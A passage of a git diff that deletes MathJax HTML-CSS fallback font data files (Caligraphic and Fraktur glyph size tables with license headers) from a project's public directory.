-      [25,19,0],[30,24,1],[35,27,1],[42,32,1],[49,39,0],[59,46,0]
-    ],
-    0x45: [  // LATIN CAPITAL LETTER E
-      [5,5,0],[6,6,0],[7,7,0],[8,8,0],[9,10,0],[11,12,0],[13,14,0],[15,16,0],
-      [18,19,0],[21,24,1],[25,28,1],[30,34,1],[35,40,1],[42,47,1]
-    ],
-    0x46: [  // LATIN CAPITAL LETTER F
-      [7,6,0],[8,7,0],[10,8,0],[11,9,0],[13,11,0],[16,13,0],[19,15,0],[22,17,0],
-      [26,20,0],[31,24,1],[37,29,1],[44,34,1],[52,40,2],[62,48,2]
-    ],
-    0x47: [  // LATIN CAPITAL LETTER G
-      [5,6,1],[6,7,1],[7,8,1],[8,10,2],[10,12,2],[12,14,2],[14,16,2],[16,19,3],
-      [19,23,4],[23,27,4],[27,32,5],[32,38,5],[38,45,6],[45,54,8]
-    ],
-    0x48: [  // LATIN CAPITAL LETTER H
-      [7,5,0],[8,6,0],[10,7,0],[12,8,0],[13,10,0],[16,12,0],[19,14,0],[22,17,1],
-      [26,20,1],[31,24,1],[37,28,2],[44,34,2],[52,40,2],[62,48,3]
-    ],
-    0x49: [  // LATIN CAPITAL LETTER I
-      [7,5,0],[8,6,0],[9,7,0],[10,8,0],[12,10,0],[14,12,0],[16,14,0],[19,16,0],
-      [22,19,0],[26,23,0],[32,27,0],[37,32,0],[44,38,0],[52,45,0]
-    ],
-    0x4A: [  // LATIN CAPITAL LETTER J
-      [7,6,1],[8,7,1],[10,8,1],[11,10,2],[13,12,2],[16,13,1],[19,16,2],[22,19,3],
-      [26,22,3],[31,27,4],[37,31,5],[44,37,5],[52,44,6],[62,53,8]
-    ],
-    0x4B: [  // LATIN CAPITAL LETTER K
-      [6,5,0],[7,6,0],[9,7,0],[10,8,0],[12,10,0],[14,12,0],[17,14,0],[20,16,0],
-      [23,19,0],[28,24,1],[33,28,1],[39,34,1],[46,40,1],[55,47,1]
-    ],
-    0x4C: [  // LATIN CAPITAL LETTER L
-      [6,5,0],[7,6,0],[8,7,0],[9,8,0],[11,10,0],[13,12,0],[15,14,0],[18,16,0],
-      [21,19,0],[25,24,1],[30,28,1],[35,34,1],[42,40,1],[50,47,1]
-    ],
-    0x4D: [  // LATIN CAPITAL LETTER M
-      [10,7,1],[12,7,0],[14,8,0],[16,10,1],[19,12,1],[23,14,1],[27,16,1],[32,18,1],
-      [38,21,1],[45,26,2],[53,30,2],[63,36,2],[75,43,3],[89,50,3]
-    ],
-    0x4E: [  // LATIN CAPITAL LETTER N
-      [9,7,1],[11,9,1],[12,10,1],[14,11,1],[17,13,1],[20,15,1],[23,18,1],[27,21,2],
-      [32,25,2],[38,30,2],[45,34,2],[54,42,2],[64,50,3],[75,59,4]
-    ],
-    0x4F: [  // LATIN CAPITAL LETTER O
-      [7,5,0],[8,6,0],[9,7,0],[11,8,0],[13,10,0],[15,12,0],[18,14,0],[21,16,0],
-      [25,19,0],[30,24,1],[35,28,1],[41,34,1],[49,40,1],[59,47,1]
-    ],
-    0x50: [  // LATIN CAPITAL LETTER P
-      [6,6,1],[8,7,1],[9,8,1],[10,9,1],[12,11,1],[15,13,1],[17,15,1],[20,18,2],
-      [24,21,2],[28,25,2],[34,30,3],[40,35,3],[47,42,4],[56,50,4]
-    ],
-    0x51: [  // LATIN CAPITAL LETTER Q
-      [7,6,1],[8,7,1],[9,8,1],[11,11,3],[13,12,2],[16,14,2],[18,17,3],[22,20,4],
-      [26,24,5],[30,28,5],[36,33,6],[43,39,6],[51,47,8],[60,56,10]
-    ],
-    0x52: [  // LATIN CAPITAL LETTER R
-      [7,5,0],[9,6,0],[10,7,0],[12,8,0],[14,10,0],[17,12,0],[20,14,0],[23,16,0],
-      [28,19,0],[33,23,1],[39,27,1],[46,33,1],[55,39,1],[65,46,1]
-    ],
-    0x53: [  // LATIN CAPITAL LETTER S
-      [5,5,0],[6,6,0],[8,7,0],[9,8,0],[10,10,0],[12,12,0],[15,14,0],[17,16,0],
-      [20,19,0],[24,24,1],[29,28,1],[34,34,1],[40,40,1],[48,47,1]
-    ],
-    0x54: [  // LATIN CAPITAL LETTER T
-      [7,6,1],[8,7,1],[10,8,1],[12,9,1],[14,11,1],[16,13,1],[19,15,1],[22,18,2],
-      [27,23,2],[32,27,3],[38,32,3],[44,37,3],[53,44,4],[63,52,5]
-    ],
-    0x55: [  // LATIN CAPITAL LETTER U
-      [7,5,0],[8,6,0],[9,7,0],[10,8,0],[12,10,0],[14,12,0],[16,14,0],[19,16,0],
-      [23,19,0],[27,24,1],[31,28,1],[37,33,1],[44,39,1],[52,47,1]
-    ],
-    0x56: [  // LATIN CAPITAL LETTER V
-      [6,6,1],[7,7,1],[8,8,1],[10,9,1],[11,11,1],[13,13,1],[16,15,1],[18,18,2],
-      [22,21,2],[26,25,2],[31,30,3],[36,36,4],[43,42,4],[51,50,5]
-    ],
-    0x57: [  // LATIN CAPITAL LETTER W
-      [9,6,1],[10,7,1],[12,8,1],[15,10,2],[17,11,1],[21,13,1],[24,15,1],[28,18,2],
-      [34,22,3],[40,26,3],[48,30,3],[57,36,4],[67,43,4],[80,51,5]
-    ],
-    0x58: [  // LATIN CAPITAL LETTER X
-      [7,5,0],[8,6,0],[9,7,0],[11,8,0],[13,10,0],[16,12,0],[18,14,0],[22,16,0],
-      [26,19,0],[30,23,0],[36,27,0],[43,32,0],[51,39,1],[60,46,0]
-    ],
-    0x59: [  // LATIN CAPITAL LETTER Y
-      [6,6,1],[7,8,2],[8,9,2],[10,10,2],[12,12,2],[14,15,3],[16,17,3],[19,20,4],
-      [23,24,5],[27,28,5],[32,33,6],[38,40,8],[45,47,9],[53,56,11]
-    ],
-    0x5A: [  // LATIN CAPITAL LETTER Z
-      [6,5,0],[8,6,0],[9,7,0],[10,8,0],[12,10,0],[15,12,0],[17,14,0],[20,16,0],
-      [24,19,0],[28,23,0],[34,27,0],[40,32,0],[47,38,0],[56,45,0]
-    ],
-    0xA0: [  // NO-BREAK SPACE
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deleted file mode 100644
index db531fd1..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Caligraphic/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Caligraphic/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_Caligraphic:{32:[[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]],48:[[4,4,0],[4,4,0],[5,5,0],[6,6,0],[7,7,0],[8,8,0],[9,9,0],[11,11,1],[13,13,1],[16,16,1],[18,19,1],[22,22,1],[26,26,1],[31,32,1]],49:[[3,3,0],[4,4,0],[5,5,0],[5,6,0],[6,7,0],[8,8,0],[9,9,0],[10,12,1],[12,14,1],[15,15,0],[17,18,0],[20,21,0],[24,25,0],[29,30,0]],50:[[4,3,0],[4,4,0],[5,5,0],[6,6,0],[7,6,0],[8,8,0],[9,9,0],[11,11,0],[13,13,0],[15,15,0],[18,18,0],[21,21,0],[25,25,0],[30,30,0]],51:[[4,5,2],[4,6,2],[5,7,2],[6,8,3],[7,10,3],[8,11,4],[9,13,4],[11,16,5],[13,19,7],[15,24,8],[18,26,8],[22,31,10],[26,37,12],[30,44,14]],52:[[4,5,2],[4,6,2],[5,7,2],[6,9,3],[7,10,3],[8,11,3],[10,13,4],[11,16,5],[14,19,6],[16,22,6],[19,26,8],[22,31,9],[27,36,11],[31,43,13]],53:[[4,5,2],[4,6,2],[5,7,2],[6,9,3],[7,10,3],[8,11,4],[9,13,4],[11,17,6],[13,19,7],[15,23,8],[18,26,8],[21,31,10],[25,37,12],[30,44,14]],54:[[4,5,0],[4,6,0],[5,7,0],[6,8,0],[7,10,0],[8,12,0],[9,13,0],[11,16,1],[13,19,1],[15,22,1],[18,28,1],[22,32,1],[26,38,1],[30,45,1]],55:[[4,6,2],[5,7,2],[5,8,3],[6,9,3],[7,10,3],[9,11,3],[10,14,4],[12,16,5],[14,20,7],[16,23,8],[19,27,9],[23,32,10],[27,38,12],[32,45,14]],56:[[4,5,0],[4,6,0],[5,7,0],[6,8,0],[7,10,0],[8,12,0],[9,13,0],[11,16,1],[13,19,1],[15,23,1],[18,27,1],[22,32,1],[26,38,1],[30,45,1]],57:[[4,5,2],[4,6,2],[5,7,2],[6,8,3],[7,10,3],[8,11,4],[9,13,4],[11,16,5],[13,19,7],[16,24,8],[18,26,8],[22,31,10],[26,37,12],[31,44,14]],65:[[6,5,0],[7,6,0],[9,8,1],[10,9,1],[12,11,1],[14,12,0],[16,15,1],[20,18,2],[23,22,2],[27,26,2],[33,31,2],[39,36,2],[46,43,2],[54,51,3]],66:[[5,5,0],[6,6,0],[7,7,0],[8,8,0],[10,10,0],[11,12,0],[13,14,0],[16,17,1],[19,21,1],[22,24,1],[26,29,1],[31,34,1],[37,40,1],[44,48,1]],67:[[4,5,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[9,12,0],[11,14,0],[13,17,1],[15,21,1],[18,24,1],[21,29,1],[25,34,1],[30,40,1],[36,48,1]],68:[[6,5,0],[7,6,0],[8,7,0],[9,8,0],[11,9,0],[13,12,1],[15,15,1],[18,16,0],[22,19,0],[26,23,0],[30,27,0],[36,32,0],[43,37,0],[51,45,0]],69:[[4,5,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[10,12,0],[11,14,0],[14,17,1],[16,21,1],[19,24,1],[23,29,1],[27,34,1],[32,40,1],[38,48,1]],70:[[6,5,0],[7,6,0],[9,7,0],[10,8,0],[12,10,0],[14,12,0],[17,15,0],[20,17,1],[23,20,1],[28,24,1],[33,28,1],[39,34,1],[46,40,2],[55,47,2]],71:[[5,6,1],[5,7,1],[6,8,1],[8,10,2],[9,11,1],[10,14,2],[12,17,3],[14,19,3],[17,23,3],[20,27,4],[24,32,4],[28,39,6],[34,46,7],[40,54,7]],72:[[6,5,0],[7,6,0],[8,7,0],[10,8,0],[12,10,0],[14,12,0],[16,14,0],[19,17,1],[23,21,1],[27,24,1],[32,29,2],[38,34,2],[45,41,2],[53,48,3]],73:[[6,5,0],[7,6,0],[8,7,0],[9,8,0],[10,9,0],[12,11,0],[14,14,0],[16,16,0],[19,19,0],[23,23,0],[28,27,0],[32,32,0],[38,38,0],[45,45,0]],74:[[6,6,1],[7,7,1],[9,8,1],[10,10,1],[12,11,2],[14,14,3],[17,17,3],[20,19,3],[24,22,3],[28,27,4],[33,32,5],[40,38,6],[47,44,7],[56,53,8]],75:[[6,5,0],[7,6,0],[8,7,0],[9,8,0],[11,10,0],[13,12,0],[15,14,0],[17,17,1],[21,21,1],[25,24,1],[29,29,1],[34,34,1],[41,40,1],[49,48,1]],76:[[5,5,0],[6,6,0],[7,7,0],[8,8,0],[10,10,0],[11,12,0],[13,14,0],[16,17,1],[19,21,1],[22,24,1],[26,29,1],[31,34,1],[37,40,1],[44,48,1]],77:[[8,5,0],[10,7,1],[12,8,1],[14,8,0],[16,10,0],[19,13,1],[23,15,1],[27,18,2],[32,22,2],[38,25,2],[45,30,2],[53,35,2],[63,41,2],[75,50,3]],78:[[8,6,0],[10,7,0],[11,9,1],[13,12,1],[15,13,1],[18,14,0],[21,17,1],[24,20,2],[29,24,2],[34,28,2],[40,33,2],[48,39,2],[57,46,2],[67,56,3]],79:[[6,5,0],[7,6,0],[8,7,0],[10,8,0],[11,10,0],[13,12,0],[16,14,0],[19,17,1],[22,21,1],[26,24,1],[31,29,1],[37,34,1],[43,40,1],[52,48,1]],80:[[6,6,1],[7,6,0],[8,8,1],[9,9,1],[11,11,1],[13,13,1],[15,16,2],[17,18,1],[21,21,2],[24,25,2],[29,29,3],[34,35,3],[41,41,3],[48,49,4]],81:[[6,6,1],[7,7,1],[8,8,1],[10,9,1],[11,11,1],[14,14,2],[16,17,3],[19,19,3],[22,24,4],[26,28,5],[31,33,5],[37,39,6],[44,46,7],[52,55,8]],82:[[6,5,0],[7,6,0],[9,7,0],[10,8,0],[12,10,0],[14,12,0],[17,15,0],[20,17,1],[24,19,1],[28,23,1],[33,28,1],[39,33,1],[47,39,1],[56,46,1]],83:[[5,5,0],[6,6,0],[7,7,0],[8,8,0],[9,10,0],[11,12,0],[13,14,0],[15,17,1],[18,21,1],[22,24,1],[26,29,1],[30,34,1],[36,40,1],[43,48,1]],84:[[6,6,1],[7,7,1],[9,8,1],[10,9,1],[12,11,1],[14,13,1],[17,15,1],[20,18,2],[23,22,2],[28,26,3],[33,31,3],[39,37,4],[46,44,4],[55,52,5]],85:[[6,5,0],[7,6,0],[8,7,0],[10,8,0],[11,10,0],[13,12,0],[15,14,0],[17,17,1],[20,20,1],[24,24,1],[28,28,1],[33,33,1],[40,39,1],[48,47,1]],86:[[5,6,1],[6,7,1],[7,8,1],[8,9,1],[10,11,1],[11,13,1],[13,15,1],[16,18,1],[19,21,2],[22,25,2],[26,30,3],[31,34,2],[37,41,3],[44,49,3]],87:[[8,6,1],[9,7,1],[11,8,1],[13,9,1],[15,11,1],[18,13,1],[21,15,1],[25,18,1],[29,21,2],[35,26,3],[41,30,3],[49,35,3],[58,42,4],[69,50,4]],88:[[6,5,0],[7,6,0],[8,7,0],[10,8,0],[12,9,0],[14,11,0],[16,14,0],[19,16,0],[23,19,0],[27,23,0],[32,27,0],[38,32,0],[45,38,0],[54,45,0]],89:[[5,6,1],[6,7,1],[8,8,1],[9,11,3],[10,12,2],[12,14,2],[14,16,2],[17,20,3],[20,23,4],[24,28,5],[29,33,6],[34,39,7],[40,46,8],[48,55,9]],90:[[6,5,0],[7,6,0],[8,7,0],[10,8,0],[11,10,0],[13,12,0],[15,14,0],[18,16,0],[22,19,0],[26,23,0],[31,27,0],[36,32,0],[43,38,0],[51,45,0]],160:[[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Caligraphic/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/Main.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Caligraphic/Regular/unpacked/Main.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Caligraphic/Regular/unpacked/Main.js
deleted file mode 100644
index c75913f9..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Caligraphic/Regular/unpacked/Main.js
+++ /dev/null
@@ -1,185 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Caligraphic/Regular/Main.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Caligraphic": {
-    0x20: [  // SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x30: [  // DIGIT ZERO
-      [4,4,0],[4,4,0],[5,5,0],[6,6,0],[7,7,0],[8,8,0],[9,9,0],[11,11,1],
-      [13,13,1],[16,16,1],[18,19,1],[22,22,1],[26,26,1],[31,32,1]
-    ],
-    0x31: [  // DIGIT ONE
-      [3,3,0],[4,4,0],[5,5,0],[5,6,0],[6,7,0],[8,8,0],[9,9,0],[10,12,1],
-      [12,14,1],[15,15,0],[17,18,0],[20,21,0],[24,25,0],[29,30,0]
-    ],
-    0x32: [  // DIGIT TWO
-      [4,3,0],[4,4,0],[5,5,0],[6,6,0],[7,6,0],[8,8,0],[9,9,0],[11,11,0],
-      [13,13,0],[15,15,0],[18,18,0],[21,21,0],[25,25,0],[30,30,0]
-    ],
-    0x33: [  // DIGIT THREE
-      [4,5,2],[4,6,2],[5,7,2],[6,8,3],[7,10,3],[8,11,4],[9,13,4],[11,16,5],
-      [13,19,7],[15,24,8],[18,26,8],[22,31,10],[26,37,12],[30,44,14]
-    ],
-    0x34: [  // DIGIT FOUR
-      [4,5,2],[4,6,2],[5,7,2],[6,9,3],[7,10,3],[8,11,3],[10,13,4],[11,16,5],
-      [14,19,6],[16,22,6],[19,26,8],[22,31,9],[27,36,11],[31,43,13]
-    ],
-    0x35: [  // DIGIT FIVE
-      [4,5,2],[4,6,2],[5,7,2],[6,9,3],[7,10,3],[8,11,4],[9,13,4],[11,17,6],
-      [13,19,7],[15,23,8],[18,26,8],[21,31,10],[25,37,12],[30,44,14]
-    ],
-    0x36: [  // DIGIT SIX
-      [4,5,0],[4,6,0],[5,7,0],[6,8,0],[7,10,0],[8,12,0],[9,13,0],[11,16,1],
-      [13,19,1],[15,22,1],[18,28,1],[22,32,1],[26,38,1],[30,45,1]
-    ],
-    0x37: [  // DIGIT SEVEN
-      [4,6,2],[5,7,2],[5,8,3],[6,9,3],[7,10,3],[9,11,3],[10,14,4],[12,16,5],
-      [14,20,7],[16,23,8],[19,27,9],[23,32,10],[27,38,12],[32,45,14]
-    ],
-    0x38: [  // DIGIT EIGHT
-      [4,5,0],[4,6,0],[5,7,0],[6,8,0],[7,10,0],[8,12,0],[9,13,0],[11,16,1],
-      [13,19,1],[15,23,1],[18,27,1],[22,32,1],[26,38,1],[30,45,1]
-    ],
-    0x39: [  // DIGIT NINE
-      [4,5,2],[4,6,2],[5,7,2],[6,8,3],[7,10,3],[8,11,4],[9,13,4],[11,16,5],
-      [13,19,7],[16,24,8],[18,26,8],[22,31,10],[26,37,12],[31,44,14]
-    ],
-    0x41: [  // LATIN CAPITAL LETTER A
-      [6,5,0],[7,6,0],[9,8,1],[10,9,1],[12,11,1],[14,12,0],[16,15,1],[20,18,2],
-      [23,22,2],[27,26,2],[33,31,2],[39,36,2],[46,43,2],[54,51,3]
-    ],
-    0x42: [  // LATIN CAPITAL LETTER B
-      [5,5,0],[6,6,0],[7,7,0],[8,8,0],[10,10,0],[11,12,0],[13,14,0],[16,17,1],
-      [19,21,1],[22,24,1],[26,29,1],[31,34,1],[37,40,1],[44,48,1]
-    ],
-    0x43: [  // LATIN CAPITAL LETTER C
-      [4,5,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[9,12,0],[11,14,0],[13,17,1],
-      [15,21,1],[18,24,1],[21,29,1],[25,34,1],[30,40,1],[36,48,1]
-    ],
-    0x44: [  // LATIN CAPITAL LETTER D
-      [6,5,0],[7,6,0],[8,7,0],[9,8,0],[11,9,0],[13,12,1],[15,15,1],[18,16,0],
-      [22,19,0],[26,23,0],[30,27,0],[36,32,0],[43,37,0],[51,45,0]
-    ],
-    0x45: [  // LATIN CAPITAL LETTER E
-      [4,5,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[10,12,0],[11,14,0],[14,17,1],
-      [16,21,1],[19,24,1],[23,29,1],[27,34,1],[32,40,1],[38,48,1]
-    ],
-    0x46: [  // LATIN CAPITAL LETTER F
-      [6,5,0],[7,6,0],[9,7,0],[10,8,0],[12,10,0],[14,12,0],[17,15,0],[20,17,1],
-      [23,20,1],[28,24,1],[33,28,1],[39,34,1],[46,40,2],[55,47,2]
-    ],
-    0x47: [  // LATIN CAPITAL LETTER G
-      [5,6,1],[5,7,1],[6,8,1],[8,10,2],[9,11,1],[10,14,2],[12,17,3],[14,19,3],
-      [17,23,3],[20,27,4],[24,32,4],[28,39,6],[34,46,7],[40,54,7]
-    ],
-    0x48: [  // LATIN CAPITAL LETTER H
-      [6,5,0],[7,6,0],[8,7,0],[10,8,0],[12,10,0],[14,12,0],[16,14,0],[19,17,1],
-      [23,21,1],[27,24,1],[32,29,2],[38,34,2],[45,41,2],[53,48,3]
-    ],
-    0x49: [  // LATIN CAPITAL LETTER I
-      [6,5,0],[7,6,0],[8,7,0],[9,8,0],[10,9,0],[12,11,0],[14,14,0],[16,16,0],
-      [19,19,0],[23,23,0],[28,27,0],[32,32,0],[38,38,0],[45,45,0]
-    ],
-    0x4A: [  // LATIN CAPITAL LETTER J
-      [6,6,1],[7,7,1],[9,8,1],[10,10,1],[12,11,2],[14,14,3],[17,17,3],[20,19,3],
-      [24,22,3],[28,27,4],[33,32,5],[40,38,6],[47,44,7],[56,53,8]
-    ],
-    0x4B: [  // LATIN CAPITAL LETTER K
-      [6,5,0],[7,6,0],[8,7,0],[9,8,0],[11,10,0],[13,12,0],[15,14,0],[17,17,1],
-      [21,21,1],[25,24,1],[29,29,1],[34,34,1],[41,40,1],[49,48,1]
-    ],
-    0x4C: [  // LATIN CAPITAL LETTER L
-      [5,5,0],[6,6,0],[7,7,0],[8,8,0],[10,10,0],[11,12,0],[13,14,0],[16,17,1],
-      [19,21,1],[22,24,1],[26,29,1],[31,34,1],[37,40,1],[44,48,1]
-    ],
-    0x4D: [  // LATIN CAPITAL LETTER M
-      [8,5,0],[10,7,1],[12,8,1],[14,8,0],[16,10,0],[19,13,1],[23,15,1],[27,18,2],
-      [32,22,2],[38,25,2],[45,30,2],[53,35,2],[63,41,2],[75,50,3]
-    ],
-    0x4E: [  // LATIN CAPITAL LETTER N
-      [8,6,0],[10,7,0],[11,9,1],[13,12,1],[15,13,1],[18,14,0],[21,17,1],[24,20,2],
-      [29,24,2],[34,28,2],[40,33,2],[48,39,2],[57,46,2],[67,56,3]
-    ],
-    0x4F: [  // LATIN CAPITAL LETTER O
-      [6,5,0],[7,6,0],[8,7,0],[10,8,0],[11,10,0],[13,12,0],[16,14,0],[19,17,1],
-      [22,21,1],[26,24,1],[31,29,1],[37,34,1],[43,40,1],[52,48,1]
-    ],
-    0x50: [  // LATIN CAPITAL LETTER P
-      [6,6,1],[7,6,0],[8,8,1],[9,9,1],[11,11,1],[13,13,1],[15,16,2],[17,18,1],
-      [21,21,2],[24,25,2],[29,29,3],[34,35,3],[41,41,3],[48,49,4]
-    ],
-    0x51: [  // LATIN CAPITAL LETTER Q
-      [6,6,1],[7,7,1],[8,8,1],[10,9,1],[11,11,1],[14,14,2],[16,17,3],[19,19,3],
-      [22,24,4],[26,28,5],[31,33,5],[37,39,6],[44,46,7],[52,55,8]
-    ],
-    0x52: [  // LATIN CAPITAL LETTER R
-      [6,5,0],[7,6,0],[9,7,0],[10,8,0],[12,10,0],[14,12,0],[17,15,0],[20,17,1],
-      [24,19,1],[28,23,1],[33,28,1],[39,33,1],[47,39,1],[56,46,1]
-    ],
-    0x53: [  // LATIN CAPITAL LETTER S
-      [5,5,0],[6,6,0],[7,7,0],[8,8,0],[9,10,0],[11,12,0],[13,14,0],[15,17,1],
-      [18,21,1],[22,24,1],[26,29,1],[30,34,1],[36,40,1],[43,48,1]
-    ],
-    0x54: [  // LATIN CAPITAL LETTER T
-      [6,6,1],[7,7,1],[9,8,1],[10,9,1],[12,11,1],[14,13,1],[17,15,1],[20,18,2],
-      [23,22,2],[28,26,3],[33,31,3],[39,37,4],[46,44,4],[55,52,5]
-    ],
-    0x55: [  // LATIN CAPITAL LETTER U
-      [6,5,0],[7,6,0],[8,7,0],[10,8,0],[11,10,0],[13,12,0],[15,14,0],[17,17,1],
-      [20,20,1],[24,24,1],[28,28,1],[33,33,1],[40,39,1],[48,47,1]
-    ],
-    0x56: [  // LATIN CAPITAL LETTER V
-      [5,6,1],[6,7,1],[7,8,1],[8,9,1],[10,11,1],[11,13,1],[13,15,1],[16,18,1],
-      [19,21,2],[22,25,2],[26,30,3],[31,34,2],[37,41,3],[44,49,3]
-    ],
-    0x57: [  // LATIN CAPITAL LETTER W
-      [8,6,1],[9,7,1],[11,8,1],[13,9,1],[15,11,1],[18,13,1],[21,15,1],[25,18,1],
-      [29,21,2],[35,26,3],[41,30,3],[49,35,3],[58,42,4],[69,50,4]
-    ],
-    0x58: [  // LATIN CAPITAL LETTER X
-      [6,5,0],[7,6,0],[8,7,0],[10,8,0],[12,9,0],[14,11,0],[16,14,0],[19,16,0],
-      [23,19,0],[27,23,0],[32,27,0],[38,32,0],[45,38,0],[54,45,0]
-    ],
-    0x59: [  // LATIN CAPITAL LETTER Y
-      [5,6,1],[6,7,1],[8,8,1],[9,11,3],[10,12,2],[12,14,2],[14,16,2],[17,20,3],
-      [20,23,4],[24,28,5],[29,33,6],[34,39,7],[40,46,8],[48,55,9]
-    ],
-    0x5A: [  // LATIN CAPITAL LETTER Z
-      [6,5,0],[7,6,0],[8,7,0],[10,8,0],[11,10,0],[13,12,0],[15,14,0],[18,16,0],
-      [22,19,0],[26,23,0],[31,27,0],[36,32,0],[43,38,0],[51,45,0]
-    ],
-    0xA0: [  // NO-BREAK SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Caligraphic/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/Main.js");
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Bold/BasicLatin.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Bold/BasicLatin.js
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--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Bold/BasicLatin.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Bold/BasicLatin.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Bold/Main.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Bold/Main.js
deleted file mode 100644
index 3535199e..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Bold/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Bold/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({"MathJax_Fraktur-bold":{}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Fraktur/Bold"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/Main.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Bold/Other.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Bold/Other.js
deleted file mode 100644
index 85df974f..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Bold/Other.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Bold/Other.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({"MathJax_Fraktur-bold":{160:[[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]],8216:[[2,2,-3],[2,3,-3],[2,4,-4],[3,4,-5],[3,5,-6],[4,6,-7],[4,6,-8],[5,7,-10],[6,9,-11],[7,11,-14],[8,12,-17],[9,14,-19],[11,17,-23],[13,20,-27]],8217:[[2,2,-2],[2,3,-3],[2,4,-3],[3,4,-5],[3,5,-5],[4,6,-6],[4,6,-7],[5,7,-9],[6,9,-10],[7,11,-12],[8,12,-16],[9,14,-18],[11,17,-21],[13,20,-25]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Fraktur/Bold"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/Other.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Bold/PUA.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Bold/PUA.js
deleted file mode 100644
index e0f10d8c..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Bold/PUA.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
